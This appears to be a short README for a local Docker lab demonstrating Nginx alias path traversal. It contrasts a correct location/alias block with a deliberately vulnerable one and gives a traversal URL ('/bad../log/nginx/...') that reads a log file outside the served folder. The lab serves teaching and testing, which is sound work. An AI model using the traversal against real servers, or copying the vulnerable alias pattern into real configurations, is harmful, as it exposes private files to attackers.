Nginx alias traversal.
Note
In the pattern where this location is used in combination with alias, a critical vulnerability arises when two conditions are met:
- no trailing slash at the end of the URL specified in the location
- a trailing slash at the end of the path specified in the alias
# correct nginx.conf settings
location /good/ {
alias /var/img/;
}
# vulnerble nginx.conf settings
location /bad {
alias /var/img/;
}
nginx 1.25.5
cd directory_traversal/
docker compose upAfter the Docker container run, go to localhost:82.
- http://localhost/good/cat.png is correct nginx.conf settings. You can see the image file.
- http://localhost:82/bad../log/nginx/access.log_sample is vulnerable. You can get access.log_sample
